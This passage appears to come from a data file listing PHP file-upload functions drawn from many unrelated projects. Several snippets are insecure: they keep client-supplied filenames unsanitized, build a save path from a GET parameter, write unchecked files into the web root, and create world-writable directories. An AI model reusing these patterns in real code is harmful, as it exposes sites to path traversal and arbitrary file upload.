$this->watermark_param)->watermark();\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif($this->is_thumbnail)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tif(substr($this->thumb_prefix, -1) == '/' && !is_dir($this->folder.$this->thumb_prefix))\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t@mkdir($this->folder.$this->thumb_prefix, 0777);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t$config = array_merge($cfg_resize, $this->thumb_param);\r\n\t\t\t\t\t\t\t\t$config['create_thumb'] = FALSE ;\r\n\t\t\t\t\t\t\t\t$config['new_image'] = $this->folder.$this->thumb_prefix.$file_name;\r\n\t\t\t\t\t\t\t\t// pr(json_encode($config, JSON_PRETTY_PRINT), __FILE__.':'.__LINE__);\r\n\t\t\t\t\t\t\t\t_class('image_lib', $config)->resize();\r\n\t\t\t\t\t\t\t\t_class('images')->move_upload($this->folder.$this->thumb_prefix.$file_name);\r\n\t\t\t\t\t\t\t\t@chmod($this->folder.$this->thumb_prefix.$file_name, $this->chmod);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t_class('images')->move_upload($dest);\r\n\t\t\t\t\t\t\treturn true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse $this->error_code .= 'move_upload_file_failed';\r\n\t\t\t\t\t} else $this->error_code .= 'file_size_max_exceeded';\r\n\t\t\t\t} else $this->error_code .= 'file_type_unallowed';\r\n\t\t\t}// end if is_uploaded_file\r\n#\t\t\telse $this->error_code .= 'file_upload_from_post_failed';\r\n\t\t}// end if isset\r\n\t\telse {\r\n#\t\t\t$this->error_code .= 'file_post_un_uploaded';\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "public function uploadtoserver() {\r\n $targetDir = $_SERVER['DOCUMENT_ROOT'] . '/uploads/items/';\r\n\r\n //$cleanupTargetDir = false; // Remove old files\r\n //$maxFileAge = 60 * 60; // Temp file age in seconds\r\n // 5 minutes execution time\r\n @set_time_limit(5 * 60);\r\n\r\n // Uncomment this one to fake upload time\r\n // usleep(5000);\r\n // Get parameters\r\n $chunk = isset($_REQUEST[\"chunk\"]) ? $_REQUEST[\"chunk\"] : 0;\r\n $chunks = isset($_REQUEST[\"chunks\"]) ? $_REQUEST[\"chunks\"] : 0;\r\n $fileName = isset($_REQUEST[\"name\"]) ? $_REQUEST[\"name\"] : '';\r\n // Clean the fileName for security reasons\r\n $fileName = preg_replace('/[^\\w\\._]+/', '', $fileName);\r\n\r\n // Make sure the fileName is unique but only if chunking is disabled\r\n if ($chunks < 2 && file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName)) {\r\n unlink($targetDir . DIRECTORY_SEPARATOR . $fileName);\r\n /*$ext = strrpos($fileName, '.');\r\n $fileName_a = substr($fileName, 0, $ext);\r\n $fileName_b = substr($fileName, $ext);\r\n\r\n $count = 1;\r\n while (file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName_a . '_' . $count . $fileName_b))\r\n $count++;\r\n\r\n $fileName = $fileName_a . '_' . $count . $fileName_b;*/\r\n }\r\n\r\n // Create target dir\r\n if (!file_exists($targetDir))\r\n @mkdir($targetDir);\r\n\r\n if (isset($_SERVER[\"HTTP_CONTENT_TYPE\"]))\r\n $contentType = $_SERVER[\"HTTP_CONTENT_TYPE\"];\r\n\r\n if (isset($_SERVER[\"CONTENT_TYPE\"]))\r\n $contentType = $_SERVER[\"CONTENT_TYPE\"];\r\n\r\n // Handle non multipart uploads older WebKit versions didn't support multipart in HTML5\r\n if (strpos($contentType, \"multipart\") !== false) {\r\n if (isset($_FILES['file']['tmp_name']) && is_uploaded_file($_FILES['file']['tmp_name'])) {\r\n // Open temp file\r\n $out = fopen($targetDir . DIRECTORY_SEPARATOR . $fileName, $chunk == 0 ? \"wb\" : \"ab\");\r\n if ($out) {\r\n // Read binary input stream and append it to temp file\r\n $in = fopen($_FILES['file']['tmp_name'], \"rb\");\r\n\r\n if ($in) {\r\n while ($buff = fread($in, 4096))\r\n fwrite($out, $buff);\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 101, \"message\": \"Failed to open input stream.\"}, \"id\" : \"id\"}');\r\n fclose($in);\r\n fclose($out);\r\n @unlink($_FILES['file']['tmp_name']);\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 102, \"message\": \"Failed to open output stream.\"}, \"id\" : \"id\"}');\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 103, \"message\": \"Failed to move uploaded file.\"}, \"id\" : \"id\"}');\r\n }\r\n else {\r\n // Open temp file\r\n $out = fopen($targetDir . DIRECTORY_SEPARATOR . $fileName, $chunk == 0 ? \"wb\" : \"ab\");\r\n if ($out) {\r\n // Read binary input stream and append it to temp file\r\n $in = fopen(\"php://input\", \"rb\");\r\n\r\n if ($in) {\r\n while ($buff = fread($in, 4096))\r\n fwrite($out, $buff);\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 101, \"message\": \"Failed to open input stream.\"}, \"id\" : \"id\"}');\r\n\r\n fclose($in);\r\n fclose($out);\r\n }\r\n else\r\n die('{\"jsonrpc\" : \"2.0\", \"error\" : {\"code\": 102, \"message\": \"Failed to open output stream.\"}, \"id\" : \"id\"}');\r\n }\r\n // Return JSON-RPC response\r\n die('{\"jsonrpc\" : \"2.0\", \"result\" : null, \"id\" : \"id\"}');\r\n }", "public function upload()\n {\n if (!Request::hasPost('requestToken') || !RequestToken::validate(Request::getPost('requestToken'))) {\n $objResponse = new ResponseError();\n $objResponse->setMessage('Invalid Request Token!');\n $objResponse->output();\n }\n\n if (!Request::getInstance()->files->has($this->name)) {\n return;\n }\n\n $objTmpFolder = new \\Folder(MultiFileUpload::UPLOAD_TMP);\n\n // contao 4 support, create tmp dir symlink\n if (version_compare(VERSION, '4.0', '>=')) {\n // tmp directory is not public, mandatory for preview images\n if (!file_exists(System::getContainer()->getParameter('contao.web_dir') . DIRECTORY_SEPARATOR . MultiFileUpload::UPLOAD_TMP)) {\n $objTmpFolder->unprotect();\n $command = new SymlinksCommand();\n $command->setContainer(System::getContainer());\n $input = new ArrayInput([]);\n $output = new NullOutput();\n $command->run($input, $output);\n }\n }\n\n $strField = $this->name;\n $varFile = Request::getInstance()->files->get($strField);\n // Multi-files upload at once\n if (is_array($varFile)) {\n // prevent disk flooding\n if (count($varFile) > $this->maxFiles) {\n $objResponse = new ResponseError();\n $objResponse->setMessage('Bulk file upload violation.');\n $objResponse->output();\n }\n\n /**\n * @var UploadedFile $objFile\n */\n foreach ($varFile as $strKey => $objFile) {\n $arrFile = $this->uploadFile($objFile, $objTmpFolder->path, $strField);\n $varReturn[] = $arrFile;\n\n if (\\Validator::isUuid($arrFile['uuid'])) {\n $arrUuids[] = $arrFile['uuid'];\n }\n }\n } // Single-file upload\n else {\n /**\n * @var UploadedFile $varFile\n */\n $varReturn = $this->uploadFile($varFile, $objTmpFolder->path, $strField);\n\n if (\\Validator::isUuid($varReturn['uuid'])) {\n $arrUuids[] = $varReturn['uuid'];\n }\n }\n\n if ($varReturn !== null) {\n $this->varValue = $arrUuids;\n $objResponse = new ResponseSuccess();\n $objResult = new ResponseData();\n $objResult->setData($varReturn);\n $objResponse->setResult($objResult);\n\n return $objResponse;\n }\n }", "public function actionUpload()\n {\n if (isset($_GET['department_id_from_url'])) {\n $filename = $_FILES['file']['name'];\n /* Location */\n $location = \"C:/OpenServer/domains/localhost/application/photo/\".$_GET['department_id_from_url'].\"/\" . $filename;\n $uploadOk = 1;\n $imageFileType = pathinfo($location, PATHINFO_EXTENSION);\n /* Valid Extensions */\n $valid_extensions = array(\"jpg\", \"jpeg\", \"png\");\n /* Check file extension */\n if (!in_array(strtolower($imageFileType), $valid_extensions)) {\n $uploadOk = 0;\n echo 0;\n }\n if ($uploadOk == 0) {\n echo 0;\n } else {\n /* Upload file */\n if (move_uploaded_file($_FILES['file']['tmp_name'], $location)) {\n echo $filename;\n } else {\n echo 0;\n }\n }\n }\n }", "public function photoupload()\n\t{\n\t\ttry {\n\t\t\t\n\t\t\t$uploader = new fUpload();\n\t\t\t$uploader->setMIMETypes(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'image/gif',\n\t\t\t\t\t\t\t'image/jpeg',\n\t\t\t\t\t\t\t'image/pjpeg',\n\t\t\t\t\t\t\t'image/png'\n\t\t\t\t\t),\n\t\t\t\t\ts('upload_no_image')\n\t\t\t);\n\t\t\t$uploader->setMaxSize('5MB');\n\t\t\t\n\t\t\tif(($error = $uploader->validate('photo', TRUE)) !== null)\n\t\t\t{\n\t\t\t\t$func = 'parent.join.photoUploadError(\\''.$error.'\\');';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// move the uploaded file in a temp folder\n\t\t\t\t$image = $uploader->move(ROOT_DIR . 'tmp/', 'photo');\n\t\t\t\t\t\n\t\t\t\t// generate an unique name for the photo\n\t\t\t\t$name = uniqid() . '.' . strtolower($image->getExtension());\n\t\t\t\t\t\n\t\t\t\t$image->rename($name, true);\n\t\t\t\t\n\t\t\t\t$image = new fImage(ROOT_DIR . 'tmp/' . $name);\n\t\t\t\t\t\n\t\t\t\t$image->resize(800, 0);\n\t\t\t\t$image->saveChanges();\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t$func = 'parent.join.readyUpload(\\''.$name.'\\');';\n\t\t\t}\n\t\t\t\n\t\t} catch (Exception $e) {\n\t\t\t$func = 'parent.join.photoUploadError(\\''.s('error_image').'\\');';\n\t\t}\n\t\t\n\t\techo '<html>\n<head><title>Upload</title></head><body onload=\"'.$func.'\"></body>\n</html>';\n\t\texit();\n\t}", "public function upfile()\n {\n $accepted_origins = array(\"http://localhost\", \"http://192.168.82.130\", \"\");\n\n // Images upload path\n $imageFolder = \"./upload/image/\";\n\n reset($_FILES);\n $temp = current($_FILES);\n if (is_uploaded_file($temp['tmp_name'])) {\n if (isset($_SERVER['HTTP_ORIGIN'])) {\n // Same-origin requests won't set an origin. If the origin is set, it must be valid.\n if (in_array($_SERVER['HTTP_ORIGIN'], $accepted_origins)) {\n header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);\n } else {\n header(\"HTTP/1.1 403 Origin Denied\");\n return;\n }\n }\n\n $temp['name'] = str_replace(' ','',$temp['name']);\n $temp['name'] = str_replace('(','',$temp['name']);\n $temp['name'] = str_replace(')','',$temp['name']);\n\n // Sanitize input\n if (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", $temp['name'])) {\n header(\"HTTP/1.1 400 Invalid file name.\");\n return;\n }\n\n // Verify extension\n if (!in_array(strtolower(pathinfo($temp['name'], PATHINFO_EXTENSION)), array(\"gif\", \"jpg\", \"png\"))) {\n header(\"HTTP/1.1 400 Invalid extension.\");\n return;\n }\n\n // Accept upload if there was no origin, or if it is an accepted origin\n $filetowrite = $imageFolder . $temp['name'];\n move_uploaded_file($temp['tmp_name'], $filetowrite);\n\n $link = base_url('upload/image/'.$temp['name']);\n // Respond to the successful upload with JSON.\n echo json_encode(array('location' => $link));\n } else {\n // Notify editor that the upload failed\n header(\"HTTP/1.1 500 Server Error\");\n }\n }", "public function upload() {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "public function actionUpload()\n\t{\n\n\t\t$input = craft()->request->getPost();\n\n\t\t$file = UploadedFile::getInstanceByName('file');\n\n\t\t$folder = craft()->assets->findFolder(array(\n\t\t 'id' => $input['id']\n\t\t));\n\n\t\tif ($folder) {\n\t\t\t$folderId = $input['id'];\n\t\t}\n\n\t\tcraft()->assets->insertFileByLocalPath(\n\t\t $file->getTempName(),\n\t\t $file->getName(),\n\t\t $folderId,\n\t\t AssetConflictResolution::KeepBoth);\n\n\t\tcraft()->end();\n\t}", "function post_file()\r\n\t{\r\n\r\n\t}", "public function uploadAction()\n {\n $logedUser = $this->getServiceLocator()\n ->get('user')\n ->getUserSession();\n $permission = $this->getServiceLocator()\n ->get('permissions')\n ->havePermission($logedUser[\"idUser\"], $logedUser[\"idWebsite\"], $this->moduleId);\n if ($this->getServiceLocator()\n ->get('user')\n ->checkPermission($permission, \"edit\")) {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Get Message Service\n $message = $this->getServiceLocator()->get('systemMessages');\n \n $files = $request->getFiles()->toArray();\n $temp = explode(\".\", $files[\"file\"][\"name\"]);\n $newName = round(microtime(true));\n $newfilename = $newName . '.' . end($temp);\n $image = new Image();\n $image->exchangeArray(array(\n \"website_id\" => $logedUser[\"idWebsite\"],\n \"name\" => $newName,\n \"extension\" => end($temp)\n ));\n if ($image->validation()) {\n if (move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], \"public/files_database/\" . $logedUser[\"idWebsite\"] . \"/\" . $newfilename)) {\n $result = $this->getImageTable()->saveImage($image);\n $message->setCode($result);\n // Log\n $this->getServiceLocator()\n ->get('systemLog')\n ->addLog(0, $message->getMessage(), $message->getLogPriority());\n die('uploadSucess');\n } else {\n die('uploadError');\n }\n } else {\n die('Invalid extension');\n }\n }\n die(\"forbiden\");\n } else {\n die(\"forbiden - without permission\");\n }\n }", "public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->avatar)\n {\n return;\n }\n\n //Lastname du fichier\n $file = $this->id_user.'.'.$this->avatar->guessExtension();\n // move takes the target directory and then the target filename to move to\n $this->avatar->move($this->getUploadRootDir(), $file);\n //Suppression des thumbnail déjà en cache\n @unlink(__DIR__.'/../../../../../web/imagine/thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/avatar_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/moyen_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/mini_thumbnail/avatars/'.$file);\n\n // set the path property to the filename where you'ved saved the file\n $this->avatar = $file;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n// use the original file name here but you should\n// sanitize it at least to avoid any security issues\n// move takes the target directory and then the\n// target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n// set the path property to the filename where you've saved the file\n $this->logo = $this->getFile()->getClientOriginalName();\n// clean up the file property as you won't need it anymore\n $this->file = null;\n\n\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $filename = substr( md5(rand()), 0, 15).'.'.$this->getFile()->guessExtension();\n // move takes the target directory and then the\n // target filename to move to\n\n\n\t\t\t\tif(!file_exists($this->getUploadRootDir())) mkdir($this->getUploadRootDir(), 0777, true);\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n\n $filePath = md5(uniqid($this->getIdUser().\"_profil\",true)).\".\".\n $this->getFile()->guessClientExtension();\n\n $this->getFile()->move(\n $this->getUploadRootDir(),$filePath\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filePath;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "function upload($path) {\r\n\t\t$ok = false;\r\n\r\n\t\t$this->uploadpath .= $path . '/';\r\n\r\n\t\tif ($this->validate()) {\r\n\t\t\t$this->filename = $this->params['form']['Filedata']['name'];\r\n\t\t\t$ok = $this->write();\r\n\t\t}\r\n\t\t\r\n\t\tif (!$ok) {\r\n\t\t\theader(\"HTTP/1.0 500 Internal Server Error\");\t//this should tell SWFUpload what's up\r\n\t\t\t$this->setError();\t//this should tell standard form what's up\r\n\t\t}\r\n\t\t\r\n\t\treturn ($ok);\r\n\t}", "public function upload() {\n $defaults = array();\n\n $defaults[\"straat\"] = \"straatnaam of de naam van de buurt\";\n $defaults[\"huisnummer\"] = \"huisnummer\";\n $defaults[\"maker\"] = \"maker\";\n $defaults[\"personen\"] = \"namen\";\n $defaults[\"datum\"] = \"datum of indicatie\";\n $defaults[\"titel\"] = \"titel\";\n $defaults[\"naam\"] = \"Je naam\";\n $defaults[\"email\"] = \"Je e-mailadres\";\n $defaults[\"tags\"] = \"\";\n\n $this->set('defaults', $defaults);\n\n if (!empty($this->request->data['Upload'])) {\n // form is niet leeg\n\n $upload = $this->stripdefaults($this->request->data['Upload'], $defaults); // strip default values\n\n $thereisfile = false;\n\n if (isset($upload['selimg']['size'])) {\n if ($upload['selimg']['size'] != 0) {\n // upload file\n if ($upload['selimg']['error'] == 0) {\n $thereisfile = true;\n }\n }\n }\n\n if ($thereisfile) {\n // sometimes filenames contain a . , get the last item\n $fnamea = explode('.', $upload['selimg']['name']);\n $thepos = count($fnamea) - 1;\n $extension = strtolower($fnamea[$thepos]);\n $this->Media->set('extensie', $extension);\n\n // remove unwanted characters\n $filename = str_replace(\" \", \"_\", $upload[\"selimg\"][\"name\"]);\n $filename = str_replace(\",\", \"_\", $filename);\n $filename = str_replace(\"*\", \"_\", $filename);\n $filename = str_replace(\"%\", \"_\", $filename);\n $filename = str_replace(\"?\", \"_\", $filename);\n $filename = str_replace(\":\", \"_\", $filename);\n $filename = str_replace(\"|\", \"_\", $filename);\n\n\n // fix extension to remove extra .\n $filename = str_replace(\".\", \"_\", $filename);\n $filename = str_replace(\"_\" . $extension, \".\" . $extension, $filename);\n\n $this->Media->set(\"originalfilename\", $filename);\n }\n\n\n\n if ($this->Auth->loggedIn()) {\n // echo('logged in');\n $this->Media->set('user_id', $this->Auth->user('id'));\n } else {\n if ($upload['email'] != \"\") {\n $user_id = $this->User->giveid($upload['email'], $upload['naam']);\n } else {\n $user_id = 0;\n }\n\n $this->Media->set('user_id', $user_id);\n }\n\n\n\n // *** datering\n if (isset($upload['datum']))\n $this->Media->set('datering', $upload['datum']);\n if (isset($upload['opmerkingen'])) {\n $opmerkingen = htmlentities($upload['opmerkingen']);\n $opmerkingen = str_replace(\"'\", \"&rsquo;\", $opmerkingen);\n $this->Media->set('opmerkingen', $opmerkingen);\n }\n if (isset($upload['exturl']))\n $this->Media->set('exturl', $upload['exturl']);\n if (isset($upload['extid']))\n $this->Media->set('extid', $upload['extid']);\n if (isset($upload['extthumb'])) {\n $this->Media->set('extthumb', $upload['extthumb']);\n // $extension \t\t= pathinfo($upload['extthumb'],PATHINFO_EXTENSION);\n //\t$this->Media->set('extensie', $extension);\n }\n // *** straat\n $this->Locationcode = $this->Components->load('Locationcode'); // load component\n $this->Locationcode->startup();\n\n if (isset($upload['latlng'])) {\n // pin put on map\n // store or get lat lon ; get the id\n $ll = explode(\",\", $upload['latlng']);\n $lat = $ll[0];\n $lng = $ll[1];\n $location_id = $this->Location->giveanid($lat, $lng);\n\n // $upload['straat']\n } else {\n // adres entry\n $huis = ($upload['huisnummer'] != \"\" ? \",\" . $upload['huisnummer'] : \"\");\n $searchfor = $upload['straat'] . $huis . ',amsterdam,netherlands';\n\n\n\n $location_id = $this->Locationcode->getlocation($searchfor);\n }\n\n\n\n $object_id = $this->Objectsatlocation->giveobjectid($location_id);\n\n if (!$object_id) {\n $this->Objects->set('naam', ' ');\n $this->Objects->set('type', ' ');\n\n $this->Objects->save();\n $object_id = $this->Objects->id;\n\n $this->Objectsatlocation->set('object_id', $object_id);\n $this->Objectsatlocation->set('location_id', $location_id);\n\n $this->Objectsatlocation->save();\n }\n\n // *** titel\n $titel = $upload['titel'];\n if ($titel && $titel != \"titel\")\n $this->Media->set('titel', $titel);\n\n\n $this->Media->set('storageloc_id', '1');\n $this->Media->set('soort_id', '1'); // 1-image,2-video\n $this->Media->set('huisnummer', $upload['huisnummer']);\n\n $this->Media->save();\n\n $media_id = $this->Media->id;\n\n\n $this->Mediaaboutobjects->set('object_id', $object_id);\n $this->Mediaaboutobjects->set('media_id', $media_id);\n $this->Mediaaboutobjects->save();\n\n\n if ($thereisfile) {\n\n // u =uploaded file\tSKIPPED\n // e= external fileSKIPPED\n // subdirs calc = dechex ( intval($filename/1000) ) .\"/\".dechex ( $filename % 1000);\n $filecalc = dechex(intval($this->Media->id / 1000)) . DS . dechex($this->Media->id % 1000) . '.' . $extension;\n\n $storename = '/sites/bvstemmen.nl/media' . DS . $filecalc;\n $success = rename($upload['selimg']['tmp_name'], $storename);\n\n\n // determine filetype\n\n $theurl = \"http://media.bvstemmen.nl/\" . $filecalc;\n\n $info = get_headers($theurl, 1);\n $mime = split(\"/\", $info['Content-Type']);\n\n $mimekind = $mime[0]; // type: video, audio, image, text, application\n $mimetypa = $mime[1]; // subtype, e.g.: jpg, gif, html, mp3 etc\n $mimetmps = split(\";\", $mimetypa); // e.g. text/html;charset: utf-8\n $mimetype = $mimetmps[0];\n\n\n if ($mimekind == 'video') {\n $cachedir = pathinfo('/sites/bvstemmen.nl/cache/video' . DS . $filecalc, PATHINFO_DIRNAME);\n $subdirs = split(\"/\", $cachedir);\n $existsdir = \"/sites/bvstemmen.nl/cache/\";\n foreach ($subdirs as &$value) {\n $existsdir .= $value . \"/\";\n if (!is_dir($existsdir))\n mkdir($existsdir);\n }\n\n\n $toopen = \"http://83.163.41.197:8008/bvstemmen/convert/video.php?f=/\" . $filecalc; // convert video file on remote server\n file_get_contents($toopen);\n $this->Media->set('soort_id', '2'); // 1-image,2-video\n $this->Media->save();\n }\n\n\n if ($mimekind == 'audio') {\n $cachedir = pathinfo('/sites/bvstemmen.nl/cache/video' . DS . $filecalc, PATHINFO_DIRNAME);\n $subdirs = split(\"/\", $cachedir);\n $existsdir = \"/sites/bvstemmen.nl/cache/\";\n foreach ($subdirs as &$value) {\n $existsdir .= $value . \"/\";\n if (!is_dir($existsdir))\n mkdir($existsdir);\n }\n $toopen = \"http://83.163.41.197:8008/bvstemmen/convert/audio.php?f=/\" . $filecalc; // convert video file on remote server\n file_get_contents($toopen);\n $this->Media->set('soort_id', '3'); // 1-image,2-video,3-audio\n $this->Media->save();\n }\n\n\n if ($mimekind == 'text') {\n // $toopen = \"http://83.163.41.197/bvstemmen/convert/video.php?f=/\" . $filecalc;\t// convert video file on remote server\n // file_get_contents($toopen);\n $this->Media->set('soort_id', '4'); // 1-image,2-video,3-audio,4-text\n $this->Media->save();\n }\n\n if ($mimekind == 'application') {\n // $toopen = \"http://83.163.41.197/bvstemmen/convert/video.php?f=/\" . $filecalc;\t// convert video file on remote server\n // file_get_contents($toopen);\n $this->Media->set('soort_id', '5'); // 1-image,2-video,3-audio,4-text,5-application\n $this->Media->save();\n }\n }\n\n\n if (isset($upload['extthumb'])) {\n //store local, no external img linking\n $extfile = file_get_contents($upload['extthumb']);\n $extension = pathinfo($upload['extthumb'], PATHINFO_EXTENSION);\n $filecalc = dechex(intval($this->Media->id / 1000)) . DS . dechex($this->Media->id % 1000) . '.' . $extension;\n\n\n $existsdir = '/sites/bvstemmen.nl/media' . \"/\";\n $subdirs = split(\"/\", pathinfo($filecalc, PATHINFO_DIRNAME));\n\n foreach ($subdirs as &$value) {\n $existsdir .= $value . \"/\";\n if (!is_dir($existsdir))\n mkdir($existsdir);\n }\n\n\n $storename = '/sites/bvstemmen.nl/media' . DS . $filecalc;\n $handle = fopen($storename, \"w\");\n fwrite($handle, $extfile);\n fclose($handle);\n }\n\n // *** tags\n\n if (PROJECTSHORTNAME != \"www\") {\n // save a tag for this project\n $tagid = $this->Tagnames->giveanid(PROJECTSHORTNAME);\n\n $this->Tags->create();\n $this->Tags->set('tagnames_id', $tagid);\n $this->Tags->set('rel', 'media');\n $this->Tags->set('media_id', $media_id);\n $this->Tags->save();\n }\n\n if ($upload['tags'] != \"\") {\n $tags = split(\",\", $upload['tags']);\n\n $numtags = count($tags);\n\n for ($i = 0; $i < $numtags; ++$i) {\n $thetag = trim($tags[$i]);\n $tagid = $this->Tagnames->giveanid($thetag);\n\n $this->Tags->create();\n $this->Tags->set('tagnames_id', $tagid);\n $this->Tags->set('rel', 'media');\n $this->Tags->set('media_id', $media_id);\n $this->Tags->save();\n }\n }\n\n\n // *** maker\n if ($upload['maker'] != \"\") {\n $maker_id = $this->User->nametoid($upload['maker']);\n $this->Nameswithmedium->create();\n $this->Nameswithmedium->set('user_id', $maker_id);\n $this->Nameswithmedium->set('relatiesoort', 'maker');\n $this->Nameswithmedium->set('media_id', $media_id);\n $this->Nameswithmedium->save();\n }\n\n // *** wie staan er op\n if ($upload['personen'] != \"\") {\n $personen_id = $this->User->nametoid($upload['personen']);\n $this->Nameswithmedium->create();\n $this->Nameswithmedium->set('user_id', $personen_id);\n $this->Nameswithmedium->set('relatiesoort', 'staat op');\n $this->Nameswithmedium->set('media_id', $media_id);\n $this->Nameswithmedium->save();\n }\n\n\n\n $onderwerp = 'Nieuwe upload ' . $upload['naam'];\n $bericht = \"http:\" . HOMEURL . \"/media/detail/\" . $media_id;\n $bericht .= \"\\n\\n\\nDit is een automatisch genegeerd e-mailbericht.\";\n $to = EMAILINFO;\n $from = EMAILINFO;\n $audience = 'internal';\n $level = \"info\";\n\n $this->notify($onderwerp, $bericht, $to, $from, $audience, $level);\n\n $this->render('uploaddank');\n } else {\n\n $this->Session->setFlash('Selecteer een bestand en probeer het opnieuw.');\n }\n }", "public function upload($file, $local_file);", "public function checkUpload() {}", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->setImageName($this->getFile()->getClientOriginalName());\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function set_file($file){\n //error checking\n if(empty($file) || !$file || !is_array($file)){\n $this->errors[] =\"There was no file uploaded here\";\n return false; \n // Check if the file is uploaded \n }elseif($file['error'] !==0){\n \n $this->error[] = $this->upload_errors_array[$file['error']];\n return false;\n \n }else {\n //Submit data \n $this->user_image = basename($file['name']); //basename is function\n $this->tmp_path = $file['tmp_name'];\n $this->type = $file ['type'];\n $this->size = $file ['size'];\n }\n }", "public function upload()\n {\n set_time_limit(0);\n //Clear error messages\n Registry::getMessages();\n //Config\n $config = Registry::getConfig();\n //Upload Handler\n new UploadHandler(\n array(\n 'upload_dir' => $config->get(\"path\").\"/files/videos/\",\n 'upload_url' => Url::site(\"files/videos\").\"/\",\n \"maxNumberOfFiles\" => 1,\n \"accept_file_types\" => \"/\\.(mp4|mpg|flv|mpeg|avi)$/i\",\n )\n );\n }", "function fileUpload()\n{\n\tglobal $files;\n\tglobal $herr;\n\tglobal $CONFIGVAR;\n\tglobal $dbapp;\n\tglobal $ajax;\n\n\t// Setup\n\t$basePath = $CONFIGVAR['files_base_path']['value'] . '/' .\n\t\t$CONFIGVAR['files_turned_in']['value'];\n\t$maxSize = $CONFIGVAR['files_max_upload_size']['value'];\n\t$extensions = $CONFIGVAR['files_allowed_extensions']['value'];\n\t$extList = explode(' ', $extensions);\n\n\t// Upload\n\t$filelist = $files->fileUpload($basePath, '/', $maxSize, true);\n\n\t// Verify that the extension of the file(s) are allowed.\n\tif (is_array($filelist))\n\t{\n\t\tforeach($filelist as $kx => $vx)\n\t\t{\n\t\t\t// Get the file extension\n\t\t\t$filename = basename($kx);\n\t\t\t$component = explode('.', $filename);\n\t\t\tif (!is_array($component)) continue;\n\t\t\tif (count($component) == 0) continue;\n\t\t\t$ext = $component[count($component) - 1];\n\n\t\t\t// Filter through the extension list. If it's not\n\t\t\t// on the list, then add to the error message.\n\t\t\t$eflag = true;\n\t\t\tforeach($extList as $kxa)\n\t\t\t{\n\t\t\t\tif (strcasecmp($ext, $kxa) == 0)\n\t\t\t\t{\n\t\t\t\t\t$eflag = false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($eflag)\n\t\t\t{\n\t\t\t\t// Not on the list, so delete the file.\n\t\t\t\t$herr->puterrmsg('The file ' . $filename .\n\t\t\t\t\t' does not have a valid extension. File has been removed.');\n\t\t\t\tunlink($basePath . '/' . $vx);\n\t\t\t\t$filelist[$kx] = NULL;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\thandleError('Upload Error: No files received.');\n\t}\n\n\t// Parse the parameter block in the request header.\n\t$params = $_SERVER['HTTP_X_PARAMETER'];\n\tparse_str($params, $_POST);\n\t$student = $_SESSION['userId'];\n\t$assign = getPostValue('assignment');\n\t$step = getPostValue('step');\n\n\t// Get the assignment information\n\t$rxa = $dbapp->queryAssignment($assign);\n\tif ($rxa == false)\n\t{\n\t\tif ($herr->checkState())\n\t\t\thandleError($herr->errorGetMessage());\n\t\telse\n\t\t\thandleError('Database Error: Unable to retrieve assignment information.');\n\t}\n\n\t// Write the turnin data into the database.\n\t$result = $dbapp->insertTurnin($student, $assign, $step, $rxa['courseid'], time());\n\tif ($result == false)\n\t{\n\t\tif 